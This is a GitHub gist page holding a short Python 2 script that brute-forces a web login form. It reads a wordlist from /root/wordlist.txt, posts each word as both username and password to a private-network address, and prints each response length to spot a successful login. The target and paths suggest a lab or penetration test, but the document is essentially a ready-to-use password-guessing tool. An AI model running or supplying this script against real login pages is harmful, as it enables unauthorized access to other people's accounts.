Skip to content

Instantly share code, notes, and snippets.

@dave5623
Created April 14, 2017 20:23
Show Gist options
  • Save dave5623/f781eb17ffad83e8af5fc1ab16dd65ef to your computer and use it in GitHub Desktop.
Save dave5623/f781eb17ffad83e8af5fc1ab16dd65ef to your computer and use it in GitHub Desktop.
import requests
with open("/root/wordlist.txt", "r") as wl:
for word in wl.readlines():
word = word.rstrip()
payload = {
"login": word,
"password": word
}
with requests.Session() as sess:
p = sess.post('http://192.168.152.149/login', data=payload)
print word + ": " + str(len(str(p.text)))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment